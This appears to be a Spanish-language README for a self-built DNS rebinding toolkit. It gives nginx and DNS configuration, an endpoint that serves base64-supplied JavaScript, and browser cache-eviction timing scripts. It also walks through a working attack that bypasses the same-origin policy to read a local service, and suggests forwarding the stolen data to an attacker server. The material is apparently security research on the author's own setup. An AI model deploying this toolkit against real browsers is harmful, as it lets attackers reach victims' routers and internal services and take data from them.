
herramienta de dns rebind con scripts personalizados
Inspirado por @tavisio
Este proyecto pretende ser un kit de herramientas integral para probar más a fondo los ataques de DNS rebinding y mi interpretación para entender este tipo de ataques. Consiste en un servidor web y un servidor DNS pseudo que solo responde a consultas de tipo A.
El índice raíz del servidor web permite configurar y ejecutar el ataque con una rudimentaria interfaz web. Véase dnsrebindtool.43z.one.
Una configuración básica de nginx para alojar el servidor web:
server {
listen 80;
server_name dnsrebindtool.43z.one;
location / {
proxy_pass http://localhost:5000;
}
}
La ruta /attack del servidor web lee el parámetro GET script
que debe proporcionar código javascript codificado en base64 y responde con el código decodificado
(envuelto en un setTimeout) incrustado en una página HTML normal.
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="
<html>
<script>
setTimeout(function(){
alert(1)
}, 3000)
</script>
</html
Dentro de mi registrador para el dominio 43z.one, configuré un registro NS para el subdominio
rebind que apunta a la IP donde está alojada esta herramienta.
ns A 81.4.124.10
rebind NS ns.43z.one
El servidor DNS solo responde a consultas de tipo A con este formato
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
La primera parte (subdominio) es solo una identificación aleatoria y debe generarse para cada sesión de ataque (la interfaz web lo hace en cada recarga). A continuación viene la IP a la que el servidor DNS debe responder durante los próximos 2 segundos y, en tercer lugar, la IP a la que el servidor debe responder después de que pase ese tiempo.
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:20 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:23 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1
La última pieza que falta es una configuración de nginx para los dominios de rebinding. Solo la ruta /attack debe pasarse a la herramienta; las demás deben responder con un error. Esto permite atacar otros servicios en el puerto 80 con todas las rutas excepto /attack (como /api/monitoring/stats, un endpoint que expone mi router).
server {
listen 80;
server_name *.rebind.43z.one;
location / {
return 404;
}
location /attack {
proxy_pass http://localhost:5000/attack;
}
}
Evicción de caché DNS
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// la primera vez que el navegador ve este dominio consulta al servidor DNS
// y obtiene 81.4.124.10
// espera más de 2 segundos
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// todavía usa 81.4.124.10 (Y NO 127.0.0.1)
// NO se realizó ninguna consulta DNS, el navegador usó la IP en caché
Esto es un problema para este tipo de ataque. Para que funcione, el navegador debe volver a emitir una nueva consulta DNS para obtener la segunda IP. En teoría, si solo esperas el tiempo suficiente entre las solicitudes, debería ocurrir una nueva consulta. Mis pruebas muestran que existe un enfoque más rápido pero más agresivo. Es muy probable que esto dependa de la configuración. Necesita más pruebas. Utilicé el siguiente script para medir el valor óptimo para la variable WAIT. Probado en Chromium 62.0.3202.89 ejecutándose en Debian buster/sid.
var WAIT = 200
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, WAIT)
Inicié un nuevo repositorio solo para explorar esto: dns cache eviction tester
Poniéndolo todo junto y probándolo.
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
Esta instancia de netcat sirve contenido al que me gustaría acceder.
Mantengo el dominio de rebinding predeterminado
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one
y el script predeterminado:
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, 200)
en dnsrebindtool.43z.one y pulso el botón Attack.
Abro la pestaña de red de las herramientas de desarrollo para ver qué está sucediendo en segundo plano.
Para mí, después de aproximadamente 60 segundos se llena con la cadena TOPSECRET y el tiempo
que tardó. El DNS rebinding evitó la SOP.
Para extraer los datos violados del iframe, se podría usar Window.PostMessage() o incluir código que reenvíe los datos
a otro servidor atacante dentro del propio script.
| Valor de WAIT en ms | Solicitudes que envía Chrome | Tiempo hasta que vuelve a consultar DNS |
|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |